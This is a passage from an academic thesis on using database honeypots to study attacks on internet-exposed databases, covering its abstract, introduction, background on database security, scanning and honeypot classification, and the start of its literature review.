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Abstract
In the digital age, the proliferation of personal data within databases has made them prime targets for
cyberattacks. As the volume of data increases, so does the frequency and sophistication of these at-
tacks. This thesis investigates database security threats by deploying open source database honeypots
to gather threat intelligence. We utilized five different honeypots at various interaction levels, deploying
a total of 275 low-interaction, 50 medium-interaction, and 8 high-interaction honeypots over 20 to 23
days to collect a wide range of adversarial data. Through this deployment, we gathered 37, 618, 111
log entries from 8, 786 IPs.

Our analysis of these logs indicate that databases exposed to the internet are most likely to be dis-
covered within an hour of deployment due to pervasive internet scanning. Additionally, we found that
adversaries exhibit preferences for attacking certain database management systems, engage in irreg-
ular attack frequencies marked by short bursts, utilize diverse tools, and exploit both cloud service
providers and infected machines. The findings also provide a high-level overview and analysis of ob-
served attacks, including remote code execution, worms, botnets, data theft, and cryptojacking.
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1
Introduction

The digitization of society has enhanced connectivity and convenience, transforming our daily lives,
how we work, and the way we interact with eachother. Yet, this evolution has introduced new chal-
lenges, especially in cybersecurity. As more aspects of our lives migrate online we entrust a growing
amount of personal information to digital services. Exploiting this transition, cybercriminals have capi-
talized on opportunities, resulting in a surge in cybercrime and associated losses [10] [83].

One area that has become a prime target for cybercriminals is database systems [22]. Databases
serve as the backbone of countless applications and services, storing vast amounts of sensitive infor-
mation such as personal information, financial transactions, and healthcare records. When databases
are breached it can lead to various negative consequences including: financial losses, reputational
harm, and regulatory sanctions [49] [59].

Existing literature has emphasized the need for robust database security measures dating back to
before the invention of the internet as we know it [31]. Various methods to secure databases against
attacks and security practices have been explored since [14] [15]. Researchers have recognized that
adversaries employ network scans as a reconnaissance method to identify potential victims, with a
trend emerging in targeting databases via network scans [5] [19]. To combat these cybercriminals hon-
eypots have emerged as valuable tools for gathering threat intelligence and detecting these attacks
[64] [39]. By simulating vulnerable systems and enticing adversaries to interact with them, honeypots
provide researchers with invaluable insights into the methods and motivations of cyber attackers. Rec-
ognizing the need for database security due to increasing threats from adversaries, researchers have
attempted to leverage the threat gathering capabilities of honeypots. Literature has explored the the-
oretical usage of honeypots for collecting threat intelligence on database attacks [53] [98]. However,
there is a gap in the literature in actually employing database honeypots to study adversarial behavior.

In this thesis we will employ five open source database honeypots across different interaction lev-
els simulating various database management systems (DBMS) to amass valuable threat intelligence
on database attacks. A low-interaction honeypot, comprising of multiple DBMS honeypots such as
Microsoft SQL (MSSQL), Redis, Postgres, Elasticsearch, and MySQL, will serve as the initial gather-
ing point for insights into attack frequencies and adversarial patterns. Medium-interaction honeypots,
featuring Redis, Postgres, and Elasticsearch, will delve deeper, aiming to capture data on attacks and
activities post access in a database. To top it off, a high-interaction honeypot, utilizing Mongodb with
fabricated datasets will be deployed which runs real Mongodb instance inside a docker container.

Through the deployment of over 300 honeypots in the main experiment, we collected and analyzed
a log dataset containing more than 37 million entries from over eight thousand IPs. Our primary objec-
tive is to answer the research question: ”What types of cyberattacks commonly confront publicly facing
databases?” To achieve this, we focus on three sub-questions:

1. Attack Frequency: What is the frequency of attacks on publicly facing databases?

1



2 1. Introduction

2. Adversarial Patterns: Is there a discernible pattern in the attacks and attackers?

3. Nature of Attacks: What kind of attacks techniques do publicly facing databases face?

By examining attack frequency, we can gauge the scale and persistence of cyber threats. Analyz-
ing adversarial patterns helps identify common behaviors, while also providing insight into attacker
methodologies. Investigating the nature of attacks reveals specific techniques employed, highlighting
vulnerabilities. These insights collectively offer a clearer understanding of the threats facing databases
and aid in developing a more comprehensive threat landscape.

For example, in our analysis of attack frequency, we noted daily adversarial activity with fluctuations
in intensity on an hourly basis. Low-interaction honeypots exhibited irregular patterns of activity spikes
followed by periods of low traffic. Similarly, other honeypots showed inconsistent behavior, with some
hours devoid of any adversarial activity. Regarding adversarial patterns, we observed adversaries fa-
voring specific DBMS like MSSQL. And the preference in leveraging a diverse range of cloud service
providers and hosting services for their malicious intentions. Consequently, many adversaries went
undetected by established threat intelligence services such as Greynoise. In our examination of attack
nature, we found that adversaries displayed adaptability by identifying variations in honeypot configu-
rations and employing various tools and techniques. Our observations encompassed multiple attack
types, including brute-force attacks, reconnaissance activities, remote code execution, malware distri-
bution, and attempts at data theft.

Through our experiment and analysis, we have made the following contributions to the field:

1. Assessment of the effectiveness of database honeypots in gathering threat intelligence related
to databases through the deployment of database honeypots and exposing them to the web.

2. Analysis of adversarial attack frequencies targeting databases.

3. Identification of adversarial habits and preferences for database attacks.

4. Advancement in understanding database attack surfaces through detailed analysis of attack tech-
niques.

In the next chapter, we begin with the background to ensure the reader understands the concepts and
topics relevant to this study. Chapter 3 provides a review of the relevant literature consisting of exist-
ing research on network scanning, database security, and the detection of cyberattacks, particularly
through the use of honeypots. We will also expand on the gap in the literature identified earlier. Chapter
4 details the research question and methodology, including the honeypots used, their deployment, and
data processing techniques. Chapter 5 presents our findings, offering insights into attack frequencies,
adversarial patterns, and delve into the attacks themselves. Chapter 6 discusses the limitations of our
study and provide recommendations for database security. Finally, chapter 7 answers both the sub
and main research questions, and presents conclusion drawn from our research.



2
Background

This thesis focuses on employing database honeypots to collect intelligence on database attacks. To
ensure clarity, it’s crucial to establish foundational concepts. Thus, the first half of this chapter aims
to offer a comprehensive exploration of databases, emphasizing their significance, classification, and
the critical need for defensive strategies. Additionally, this section will delve into the consequences of
inadequately defending database systems to stress the importance of robust security measures.

In the latter part of this chapter, we delve into the relationship between databases and cyberattacks,
shedding light on common adversary tactics and a framework used to dissect them, specifically the cy-
ber kill chain. Furthermore we explore how adversaries leverage network scanning for reconnaissance
to identify potential targets, and we discuss the roles of network telescopes and honeypots in mitigating
these risks.

2.1. Databases
Oracle defines a database as: “A database is an organized collection of structured information, or data,
typically stored electronically in a computer system. A database is usually controlled by a database
management system (DBMS)” [70]. Databases serve as critical tools for storing, managing, and re-
trieving data efficiently. Examples of databases are all around us in everyday life: in e-commerce,
databases house customer data and inventory records, enabling businesses to efficiently manage
sales, orders, and product information. While in the healthcare industry, databases store vital infor-
mation such as patient records, medical histories, and treatment details, which are vital for patient care
management. However, the significance of databases extends far beyond these specific examples.
In today’s interconnected world, they are components of nearly every modern system and application.
From financial institutions handling transactions to social media platforms managing user data and in-
teractions and even organisations to enable remote work initiatives, databases support the functioning
of countless digital services, platforms and industries.

Moreover, with the increasing digitization of our world, especially after the 2019 covid pandemic [50],
the importance of databases continues to grow exponentially. Market research forecasts a substantial
growth trajectory for the database as a service (DBaaS) market, with the segment of DBSaaS projected
to expand from 16.04$ billion in 2022 to 39.67$ billion by 2029 [7]. This growth reflects the demand
and importance of databases which powers the digital transformation of our world.

As this reliance on databases grows, so does the potential impact of cyber threats targeting them.
Exploits or hacks can incur significant financial losses and reputational damage for businesses and
industries. Therefore, it is important to prioritize the security of databases, especially in the rapidly
expanding database market.
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4 2. Background

2.1.1. Types of DBMS
In addition to Oracle’s definition, databases can be classified based on the type of DBMS they em-
ploy. Common classifications include but are not limited to relational, distributed, hierarchical, object-
oriented, and network databases [61]. However, for the relevance of this thesis, our focus will primarily
be on relational, distributed, and graph databases, as well as the distinction between SQL and NoSQL
databases. These classifications are important as they encompass the types of DBMS that will be
utilized for data gathering and analysis in this research.

Relational databases organize data into tables with rows and columns, interconnected through de-
fined relationships. Examples of relational DBMS include MySQL and PostgreSQL. MySQL is widely
used for its ease of use and scalability, commonly employed in web applications, content management
systems, and data warehousing. PostgreSQL, on the other hand, offers advanced features such as
support for complex queries and JSON data types, making it suitable for enterprise applications.

Distributed databases distribute data across multiple servers or locations, enhancing scalability and
fault tolerance. Redis, a popular distributed DBMS, excels in caching, real-time analytics, and high-
performance data storage. It is often utilized in applications requiring fast data access and processing,
such as real-time analytics and session caching.

Graph databases, commonly referred to as network databases, depict data as interconnected nodes
and edges. Their unique characteristic lies in the schema’s representation as a graph, where nodes
signify object types and edges denote relationship types, allowing for intricate and non-hierarchical data
structures. This makes them particularly adept at modeling complex relationships between entities. A
prime example of a network database management system is Elasticsearch, a component of the Elas-
tic Stack. Well known for its prowess in full-text search, log analytics, and real-time data visualization,
Elasticsearch is indispensable for applications demanding fast and comprehensive data retrieval and
analysis.

In recent years, the distinction between SQL (Structured Query Language) and NoSQL (Not Only
Structured Query Language) databases has become prominent. In simple terms NoSQL databases
are any DBMS that aren’t relational [61]. SQL and NoSQL differ mainly in four points:

• Relational (SQL) or non-relational (NoSQL)

• Strict schema for structured data (SQL) or dynamic schema for unstructured data (NoSQL)

• Data is table based (SQL) or document, key-value, graph, or wide-column based (NoSQL)

• Scalability in vertical by upgrading hardware (SQL) or horizontal by partitioning data (NoSQL)

SQL databases, such as MySQL and PostgreSQL, adhere to a structured schema and are suited for
applications requiring ACID (Atomicity, Consistency, Isolation, Durability) principles. For instance, in
financial systems where transactions must be reliably processed and stored without compromise, the
ACID properties ensure data integrity and reliability. In contrast, NoSQL databases, like MongoDB, pri-
oritize flexibility and scalability over strict schema enforcement, and hence are suitable for applications
requiring BASE (Basically Available, Soft State, Eventually Consistent) principles. For applications
like social media platforms, where accommodating rapidly changing data models and handling high
volumes of concurrent user interactions are paramount, BASE provides the necessary flexibility and
scalability without compromising system availability and responsiveness.

2.1.2. Security of DMBS
Concerns about the security of databases have persisted for decades, with researchers recognizing the
potential vulnerabilities associated with over-reliance on DBMS [31]. Early investigations into this issue
identified Identity Access Management (IAM) and data encryption as primary methods for protecting
databases [14]. Subsequent research expanded the scope of database security to include considera-
tions such as data quality, intellectual property rights, the impact of mobile users, and the resilience of
databases against various attacks [15]. The overarching goal of database security is to establish and
maintain the confidentiality, integrity, and availability (CIA triad) of database systems.
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Confidentiality ensures that sensitive information within the database remains accessible only to au-
thorized users or entities, safeguarding against unauthorized access or disclosure.

Integrity ensures that data remains accurate, consistent, and trustworthy, preventing unauthorized
modifications or tampering in transit and storage.

Availability ensures that the database and its resources are accessible and operational when needed,
minimizing downtime and ensuring continuous access to data for authorized users.

IBM highlights five key areas that database security measures are intended to address and protect
[49]:

• The data stored within the database

• The integrity and security of the DBMS itself

• Any applications that interact with the database

• The physical or virtual database server and its underlying hardware

• The computing and network infrastructure used to access the database

In this thesis, our focus will primarily be on the first two areas: the protection of data stored within the
database and the integrity and security of the DBMS itself.

2.1.3. Consequences of a data breach
A data breach compromising any of the five aforementioned aspects could have wide-ranging conse-
quences. According to the European Commission, a data breach occurs when the data for which your
company or organization is responsible suffers a security incident resulting in a breach of confidential-
ity, availability, or integrity [28]. The consequences of a DBMS data breach can be summarized as
follows [49] [59]:

Data Theft: Breaches expose valuable intellectual property and sensitive information, including cus-
tomer records, credit card numbers, bank account details, and personal identification information. This
theft of data can compromise an organization’s competitive advantage and undermine trust with cus-
tomers.

Damage to Brand Reputation: Companies that fail to adequately protect personal data risk dam-
aging their reputation. Customers are less likely to do business with organizations that cannot ensure
the security and privacy of their sensitive information. This loss of trust can have long-term conse-
quences for brand loyalty and market standing.

Revenue Loss: A data breach can disrupt business operations, leading to revenue loss as systems
are taken offline or business activities are slowed down to address the breach. The downtime incurred
during recovery efforts can significantly impact financial performance and market competitiveness.

Data Breach Violation Penalties: Regulatory bodies impose stringent penalties for data breaches,
especially under regulations such as Europe’s General Data Protection Regulation (GDPR) and the
Sarbanes-Oxley Act. Failure to comply with these regulations can result in hefty fines and legal reper-
cussions, further exacerbating the financial and reputational damage.

Costs of Recovery: Recovering from a data breach can incur substantial costs, including legal fees,
expenses associated with assisting affected individuals, and additional resources required to restore
data and systems to their pre-breach state. These expenses can amount to millions of dollars and have
a significant impact on an organization’s financial health.
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2.1.4. How do we protect a database?
Having understood the repercussions of a DBMS data breach, we will delve into effective methods for
safeguarding databases. Recognized leaders in the industry, like Microsoft emphasize four key areas
of focus for database protection [59]:

Network security: A firewall is used as a barrier between a database server and the external net-
work, controlling incoming and outgoing traffic based on predetermined security rules. It can prevent
unauthorized access to the database, detect and block malicious activities, and serve as a chokepoint
for implementing additional security measures, enhancing overall database security.

Identity AccessManagement: IAM frameworks ensure appropriate access to organizational resources
through authentication, authorization, and access control [76]. Authentication is the process of verify-
ing the identity of users or entities attempting to access a system or resource. This typically involves
the three factors of authentication: something you know, something you have, and something you are.
Therefore users are often asked to provide credentials such as usernames and passwords, access
cards or cryptographic USB keys, and biometric data such as fingerprints. IAM systems authenticate
users to ensure that they are who they claim to be before granting access to databases.

Authorization determines what actions authenticated users are permitted to perform andwhat resources
they can access. It involves defining permissions and privileges based on roles, groups, or individual
user identities. IAM systems enforce authorization policies to restrict database access to only those
users who have the necessary permissions.

Access control mechanisms enforce the policies defined during authorization, ensuring that only autho-
rized users can access specific resources or perform certain actions. IAM systems use access control
lists (ACL), role-based access control (RBAC), or attribute-based access control (ABAC) to govern
database access. These mechanisms help prevent unauthorized access and enforce the principle of
least privilege, limiting users’ access to only the data and functions necessary for their roles.

Threat protection: Threat protection encompasses auditing and threat detection. Auditing involves
systematically tracking and recording database activities to ensure compliance, monitor for suspicious
behaviors, and facilitate incident response. By maintaining detailed audit logs, organizations can mon-
itor user activities, identify unauthorized access attempts, and attribute actions to specific users or
entities. Auditing promotes transparency, accountability, and continuous improvement in database se-
curity by providing valuable insights into security gaps, vulnerabilities, and areas for enhancement.

Threat detection is the act of actively monitoring database activities to identify and respond to po-
tential security threats and breaches. It employs anomaly detection techniques to analyze database
events and identify deviations from normal behavior patterns. By continuously monitoring for suspi-
cious activities such as unauthorized access attempts, data exfiltration, or unusual query patterns,
threat detection systems can quickly alert administrators to potential security incidents. This proactive
approach enables organizations to take timely action to mitigate risks, investigate security breaches,
and implement appropriate security measures to safeguard their databases.

Information protection: Data encryption entails transforming sensitive data into an unreadable format
using encryption algorithms. Encrypted data can only be deciphered with the appropriate decryption
key, ensuring that only authorized individuals can access and interpret the information. This crypto-
graphic technique protects sensitive data from unauthorized access, interception, and tampering, even
if the underlying database is compromised.

2.1.5. Failures in database security
To further stress the importance of the aforementioned safeguard methods, we will examine the reper-
cussions when said security measures fall short. Improperly configured firewalls may inadvertently
allow unauthorized access to the database server from external networks or fail to effectively block
malicious traffic. This can result in data breaches, compromising sensitive information stored in the
database. Moreover, misconfigurations can disrupt normal operations by inadvertently blocking legit-
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imate traffic, potentially impacting business continuity. According to Gartner, it is projected that 99%
of firewall breaches by 2023 will be caused by misconfigurations rather than flaws in the firewall itself
[20]. One prominent example is the 2019 data breach at Capital One, where over 100 million records
were compromised due to a misconfigured firewall, enabling unauthorized access and subsequent ex-
filtration of sensitive data [51]. One could imagine the dire consequences of operating without a firewall
in place.

Insufficient IAM practices drastically increase the vulnerability of databases to cyberattacks. Weak
or poorly configured authentication methods present enticing targets for malicious actors seeking illicit
entry. According to a report by Verizon, a staggering 82 percent of data breaches involved human
error, including credential theft, phishing attacks, and employee misuse or errors [84]. Implementing
robust access management protocols could have prevented many of these breaches. The main take-
aways from this report emphasize the importance of proper password policies to ensure the use of
strong passwords, the implementation of multi-factor authentication to prevent illicit access, and the
establishment of proper access control measures. Notably, the report highlights that insiders were re-
sponsible for 20 percent of data breaches, underscoring the significance of addressing privilege creep
and ensuring that individuals only have access to the resources necessary for their roles.

Inadequate auditing practices significantly increase the vulnerability of databases to cyber threats, ex-
emplified by incidents like the SolarWinds supply chain attack in 2020, which exploited a decade-old
security recommendation [100]. This attack infiltrated numerous entities, including United States gov-
ernment departments and private sector giants like Microsoft, Intel, Cisco, and Deloitte. Regular audits
of employee accounts are vital for detecting signs of fraud or unauthorized access. For instance, im-
plementing measures to restrict accounts during a brute-force password attack could have prevented
incidents like the 2016 Alibaba breach [75]. Additionally, deactivating and revoking privileges from
closed or orphaned accounts linked to former employees is crucial to prevent potential entry points for
hackers or disgruntled ex-employees, as evidenced by insider threats mentioned before. Moreover,
audits should meticulously review the privileges granted to current employees to prevent scenarios of
privilege creep and expand the attack surface.

Effective threat detection is important for promptly responding to security breaches, as demonstrated
by the Cisco breach in 2022 [18]. In this incident, after the adversary gained access to an account and
attempted to escalate their privileges within Cisco’s internal systems, the security team swiftly inter-
vened upon detecting unauthorized access. This proactive action minimized the potential impact on
Cisco’s business operations and data integrity. However, failure to detect threats in a timely manner
can have severe consequences, such as prolonged exposure to attackers and increased damage to
sensitive data and infrastructure.

A lack of encryption of data poses significant risks to data security, as sensitive information can be
compromised in the event of a breach. Furthermore when data is transmitted or stored without encryp-
tion, it becomes vulnerable to interception and unauthorized access by malicious actors. This exposes
confidential information, such as personal details, financial records, and login credentials, to potential
theft or misuse. For instance, a recent report on credit unions in the USA revealed instances where
sensitive data, including passwords, was breached in unencrypted form [38]. In such cases, attackers
can exploit the lack of encryption to easily access and exploit sensitive information, potentially causing
financial losses and reputational damage to individuals and organizations affected by the breach.

2.2. Cyberattacks
After establishing the fundamentals of databases, including their significance and defensive strategies,
we now turn our attention to their vulnerability to cyberattacks. Cyberattacks represent unwelcome
attempts to steal, expose, alter, disable, or destroy information through unauthorized access to com-
puter systems, as described by IBM [48]. The digitization of numerous industries and the shift towards
remote work arrangements have created breeding ground for cybercriminals to exploit vulnerabilities.
Apple’s observations underscore this trend, with reported database breaches witnessing a staggering
threefold increase between 2013 and 2022 [10].
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Cyberattacks manifest in various forms, each posing distinct threats. Cisco and IBM have identified
several common attack types, showcasing some of the diverse tactics employed by adversaries [26]
[48]. For databases, the following attacks are of particular interest:

Malware encompasses a broad category of malicious software designed to infiltrate, disrupt, or dam-
age computer systems. Among these threats are trojan horses, deceptive programs that masquerade
as legitimate software to trick users into unwittingly installing them. Once inside a system, trojans can
steal sensitive information, modify data, or grant unauthorized access. Meanwhile, spyware operates
covertly, monitoring and gathering information about a user’s activities without their knowledge or con-
sent, posing serious privacy risks. In a similar vein, rootkits hide their presence to provide unauthorized
access to a system, enabling malicious actors to modify files, disable security measures, and evade
detection by antivirus software. Contrasting these stealthy threats, ransomware encrypts files on a vic-
tim’s system and demands payment, typically in cryptocurrency, in exchange for the decryption of the
files. Finally, worms, self-replicating malware, spread rapidly across networks, exploiting vulnerabilities
in operating systems or software, causing widespread damage and disruption once inside a network.

Denial-of-service attack (DoS) attacks aims to disrupt the normal functioning of a target system or
network by overwhelming it with a flood of traffic, rendering it inaccessible to legitimate users. A more
advanced version called distributed denial-of-service (DDoS) attack harnesses the power of multiple
compromised devices or systems to launch a coordinated assault on a target. This flood of traffic can
come from various sources, such as botnets or compromised devices, and can consume all available
bandwidth or exhaust system resources like CPU or memory. For instance, an attacker may launch a
DoS attack against a website, causing it to become slow or completely unavailable to users trying to
access it.

Zero-day exploits refers to a vulnerability in software or hardware that is unknown to the vendor or
developers, leaving systems susceptible to exploitation by attackers. Zero-day exploits are particularly
dangerous because there are no patches or fixes available to mitigate the vulnerability, giving attackers
free rein to exploit it before it is discovered and patched. Attackers may use zero-day exploits to launch
targeted attacks against specific organizations or individuals, often with the aim of stealing sensitive
information or gaining unauthorized access to systems.

2.3. Scanning
In the cyber kill chain framework [55], reconnaissance marks the initial stage of a cyberattack. Network
scanning is as a reconnaissance technique utilized by adversaries to evaluate the security of potential
targets connected to the web. It involves the systematic probing of a network to gather information
about the connected devices, ports, and services. Adversaries employ various scanning methods and
tools to map out network topologies, identify active hosts, and enumerate open ports and services.
Databases, often repositories of sensitive information, are prime targets for adversaries. They are
commonly hosted on specific ports within the network, making them susceptible to discovery through
scanning techniques. Therefore, network scanning serves as a crucial means for adversaries to iden-
tify and target databases as part of their broader cyberattack strategy. Additionally, extensive research
has identified network scanning as a growing cybersecurity concern due to its pivotal role as the pri-
mary stage of intrusion attempts, enabling attackers to remotely locate, target, and exploit vulnerable
systems [5] [19].

Adversaries often use tools like Nmap [52], Masscan [42], and Zmap [58] to perform scans efficiently
and identify potential attack vectors. There are numerous methods to classify scans [12] however for
the scope of this work they can be broadly summarized into the following three points:

Host Ping Scan: Often serving as the initial step in network reconnaissance, host ping scans en-
able attackers to verify if a host is online and responsive. Leveraging ICMP (Internet Control Message
Protocol) messages, ping scans send requests to target hosts and await responses. If a response is
received, it indicates that the host is active and reachable on the network. Popular tools like Nmap
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facilitate the execution of host ping scans.

Port Scan: Following a host ping scan, adversaries may proceed with a port scan to identify open
ports and services running on target systems. Databases typically utilize specific ports for communi-
cation; for instance, PostgreSQL commonly operates on port 5432, while Redis uses port 6379. By
conducting a port scan, adversaries can swiftly ascertain whether a DBMS is active on the target host.
Port scanning methods vary, but Nmap, a widely used network scanning tool, offers one of the most
commonly used TCP SYN scan [41].

The TCP SYN Scan is a widely utilized technique in port scanning, leveraging the TCP three-way
handshake process. It begins with the adversary sending a SYN (Synchronize) packet to the target
port. If the port is open, the target responds with a SYN-ACK (Synchronize-Acknowledgment) packet,
indicating readiness to establish a connection. At this point the adversary sends a RST (Reset) packet
to preemptively interrupt the handshake. However, if the port is closed, the target replies with a RST
packet. By analyzing these responses, the attacker can determine the status of each scanned port
without completing the full TCP connection establishment process. TCP SYN scanning offers efficiency
and stealth, suitable for scanning numerous ports quickly. Nonetheless, it may produce false positives
in certain scenarios, and its effectiveness depends on the ability to send raw packets over the network.

(a) TCP SYN scan of open port (b) TCP SYN scan of closed port

Figure 2.1: TCP SYN scan diagram

Vulnerability scan: Once a target has been identified, adversaries may initiate vulnerability scans
to identify known weaknesses or vulnerabilities in target systems. Tools like Nessus [82] and Open-
VAS [43] automate the process of scanning target networks for security flaws, misconfigurations, and
outdated software including those related to DBMS. These scanners analyze system configurations,
installed software, and patch levels to identify vulnerabilities that could be exploited by attackers. Com-
mon vulnerabilities targeted by vulnerability scanners include missing security patches, weak pass-
words, misconfigured services, and outdated software versions. By conducting vulnerability scans,
adversaries can prioritize their targets based on the severity of identified vulnerabilities and tailor their
exploitation techniques accordingly.

2.4. Network telescope
In the preceding section, we explored how adversaries utilize network scans to target databases. Which
stresses the importance of understanding malicious activities occurring within network traffic. Network
telescopes, as described by More et al., are designated portions of routed IP address space where little
to no legitimate traffic is expected [62]. These segments serve the purpose of attracting and monitor-
ing packets that are not intended for legitimate communication, such as those generated by scanning
activities, victims of DDoS attacks, malware propagation, and other malicious behaviors. By passively
collecting and analyzing this unsolicited traffic, network telescopes offer valuable insights into ongoing
vulnerabilities, their exploitation, and network scanning activities [74].

As previously discussed, it’s important to note that not all traffic captured by network telescopes is ma-
licious. Benign scanning activities, such as research scanning conducted by organizations like Censys
and Shodan, contribute to monitoring the security of networks [24][25]. These scans are designed to
detect vulnerabilities such as misconfigurations, exploits, and identify default passwords, making them
valuable tools for reducing attack surfaces.

However, it is crucial to recognize and address malicious network scanning observed by telescopes.
One of these traffic types is reconnaissance activities conducted by adversaries seeking to identify
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potential vulnerabilities in hosts connected to the web. This typically entails extensive probing of IP ad-
dresses, often via host ping scans and port scans, resulting in encounters within the IP address spaces
monitored by the telescopes. The data collected from these encounters provide valuable information,
including the source IP, targeted port, timing, and intensity of the scanning. By analyzing the these
scanning activities, we can identify recurrent patterns indicative of specific attack campaigns or threat
actors. Which enables us to proactively anticipate and counter evolving cyber threats.

Another malicious scanning activity detected by network telescopes involves malware propagation.
Malicious code running on compromised hosts, often part of large botnets like the Mirai botnet, at-
tempts to infect additional victims [9]. Similar to reconnaissance activities, malware scans encompass
a large IP space and may be caught by the telescope.

2.5. Honeypots
Honeypots serve as invaluable tools for gathering intelligence on adversaries. They are purposefully
designed decoys deployed within a network to lure in potential adversaries and gather information
about their methods and motives. Therefore by design, they should not attract legitimate traffic or in-
teractions. And any recorded activity is typically a sign of probing or intrusion attempts. They serve as
a strategic tool in cybersecurity for both detection and prevention purposes. By mimicking legitimate
systems and services, honeypots entice malicious actors to interact with them, allowing security pro-
fessionals and researchers to observe and analyze their behavior without risking real data or resources.

This thesis will utilize honeypots, specifically focusing on database honeypots. However, our approach
diverges from conventional deployment methods. Instead of placing them directly within a network, we
will deploy them on misconfigured firewalls and IAM controls, intentionally leaving the DBMS open for
access via the web. This setup aims to capture adversaries engaging in malicious activities, providing
ample data for detailed analysis and strategic insights.

We will also delve into the classification of honeypots, which are crucial to understanding the types
utilized in this thesis. Honeypots can be categorized based on various criteria, each shedding light on
their unique characteristics and functionalities. Figure 2.2 provides a convenient overview of all clas-
sification categories and their respective subclassifications. Purpose: Honeypots are often classified

Figure 2.2: Taxonomy of honeypots in this thesis: Categorizing honeypots based on purpose, role and interaction level

according to their intended use, falling into two main categories: Research and Production honeypots
[98]. Research Honeypot are typically more intricate and demanding to maintain. Despite the chal-
lenges, they offer significant value to cybersecurity research endeavors. Research honeypots meticu-
lously gather attack data, providing researchers with deep insights into attacker methodologies. This
wealth of data forms the basis for understanding evolving cyber threats and devising effective defense
strategies. Despite their demanding maintenance, the insights gleaned from research honeypots play
a pivotal role in advancing cybersecurity defenses.

In contrast, production honeypots prioritize simplicity and seamless integration into organizational net-
works. Deployed within production environments, these honeypots serve as decoys, redirecting mali-
cious activity away from genuine assets and towards the simulated environment. By enticing attackers
to engage with these “decoys,” production honeypots enable early threat detection and minimize risks
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to critical infrastructure. Their effortless integration into operational networks renders production hon-
eypots indispensable tools for organizations aiming to fortify their cybersecurity posture in real-world
scenarios.

Role: Honeypots can also be classified based on their role, typically falling into two categories: client
and server [39]. Client honeypots emulate client behavior by actively connecting to servers within a
network. Their primary objective is to identify and interact with malicious servers targeting clients. By
replicating the actions of legitimate clients, these honeypots effectively lure in malicious actors, enabling
the detection and analysis of server-side attacks. Client honeypots play a proactive role in cybersecu-
rity by actively seeking out threats and providing valuable insights into attacker tactics targeting client
systems. On the other hand, server honeypots represent the conventional concept of honeypots, simu-
lating various services, networks, or resources within a network environment. Unlike client honeypots,
which actively seek out malicious servers, server honeypots passively wait to be targeted by malicious
actors. By masquerading as genuine services or resources, these honeypots attract and interact with
attackers, allowing security professionals to observe and analyze their tactics and techniques. Server
honeypots are instrumental in detecting and mitigating attacks targeting servers and network infras-
tructure, thereby strengthening overall cybersecurity defenses.

Level of interactivity: The level of interactivity determines the extent to which they engage with po-
tential attackers. In general there are three classification levels for honeypot interactivity: low,medium,
and high [37]. Table 2.1 offers a comprehensive overview of these interaction levels.

Interactivity level Information gathering Emulation Operating System Risk of compromise
Low Limited Basic (e.g., SSH, FTP) No Low

Medium Moderate Some services and responses No Low-Moderate
High Extensive Realistic, all Yes High

Table 2.1: Overview of honeypot interactivity level

In low-interaction honeypots, only basic protocols such as SSH and FTP are emulated. These hon-
eypots do not grant access to the underlying operating system and provide minimal responses, often
limited to handshakes. While they lack the capability for compromise, low-interaction honeypots are
valuable for statistical analysis, offering insights into the frequency of attacks without exposing real
system vulnerabilities.

Medium-interaction honeypots simulate a broader range of services compared to low-interaction hon-
eypots. However, they still do not provide access to the operating system. With a moderate level of
”fake” responses and interactivity, these honeypots effectively attract attackers while minimizing the
risk of compromise. They serve as effective tools for drawing in malicious actors for observation with-
out exposing critical systems to potential threats.

In high-interaction honeypots, there is no simulation involved as they grant access to a real operating
system. These honeypots offer a wide array of services and interactions, providing a realistic environ-
ment for attackers. While they are invaluable for in-depth attack data analysis by cybersecurity experts,
high-interaction honeypots pose a high risk of compromise. The exposure of real system resources
increases the likelihood of attackers gaining unauthorized access, necessitating robust security mea-
sures to mitigate potential threats.
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Related work

The literature review delves into existing knowledge and research within the domains of network scan-
ning, database security, and the detection of attacks.

In the initial segment, we explore the comprehensive literature surrounding network scanning. This
entails an in-depth examination of its historical evolution, its role in targeting databases, and the inher-
ent security risks it poses to networks.

Subsequently, our focus shifts to the security aspects of databases, where we address the perpet-
ual necessity for robust database security measures. We survey the conventional defense strategies,
proposed methodologies for enhancing database security, and the evolving landscape of privacy con-
cerns within this realm.

Next, we delve into research concerning the tools and methodologies utilized in the detection and
identification of cyberattacks. This includes an exploration of network telescopes, which provide valu-
able insights into cybersecurity trends and can function as early warning systems. Additionally, we
examine the role of honeypots in uncovering adversarial tactics.

Finally, we highlight the research gap present in the existing literature, identifying areas where fur-
ther investigation and exploration are needed. These identified gaps serve as the driving force behind
formulating the research question and establishing the contribution of this thesis to the scientific field.

3.1. Scanning
In the background section, we introduced the concept of network scanning, detailing its types and how
adversaries utilize it to identify potential victims. In this section we explore its historical evolution and
contemporary impact.

Commencing our exploration, we scrutinize the preliminary study conducted by Allman et al. [5], which
analyzed scanning traffic spanning from 1994 to 2006, focusing on a specific website. This pioneering
research provided insights into scanning behavior over an extended period. Their findings revealed
a consistent growth trend in scanning traffic, with notable spikes coinciding with worm outbreaks and
scanning attacks. Moreover, it observed an expansion in the scope of scanned ports, including the tar-
geting SQL DBMS servers, prompting inquiries into scanning patterns and the origins of such activities.

Subsequently, Barnett et al. [13] contributed to the field by publishing a paper on the taxonomy of
network scanning technique . Acknowledging scanning as a prevalent reconnaissance activity in net-
work intrusion, they highlighted the shortcomings of network intrusion detection systems (NIDS) in
detecting scanning activities. Demonstrating the necessity for a comprehensive taxonomy of scanning
techniques to develop effective detection modules.

12
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In another notable survey by Bou-Harb et al. [19], the authors analyzed web scanning events, and
shed light on a Microsoft-SQL (MSSQL) DBMS scanning campaign. And provided characteristics of
this MSSQL scanning campaign for future tracking. This survey highlighted the targeting of databases
by adversaries, underscoring scanning as a significant and timely cybersecurity challenge. Moreover,
it emphasized that scanning could serve as a precursor to various cyberattacks, advocating for robust
measures such as properly configured firewalls employing TCP filtering to prevent or detect probing
activities.

Delving deeper into the characteristics and implications of network scanners, Anand et al. [8] identi-
fied two distinct categories: benign research-oriented scanning and aggressive scanning by malicious
actors. Their investigation focused on aggressive scanners exhibiting immoderate and persistent be-
haviors, revealing a preference for certain US-based cloud provider hosts and a notable volume of
scanning traffic targeting ports associated with the Redis DBMS. The study concluded that aggressive
scanners pose significant security risks, capable of identifying exploitable networks and inducing ser-
vice disruptions akin to a DoS attack.

Furthermore, Durumeric et al. [34] presented research on the capabilities of Zmap, a network scanning
tool, advocating its potential utility in security applications. However, they cautioned against the poten-
tial misuse of high-speed scanning for malicious purposes, necessitating vigilant measures to address
vulnerabilities effectively. In a subsequent study, Durumeric et al. [33] analyzed scanning activity using
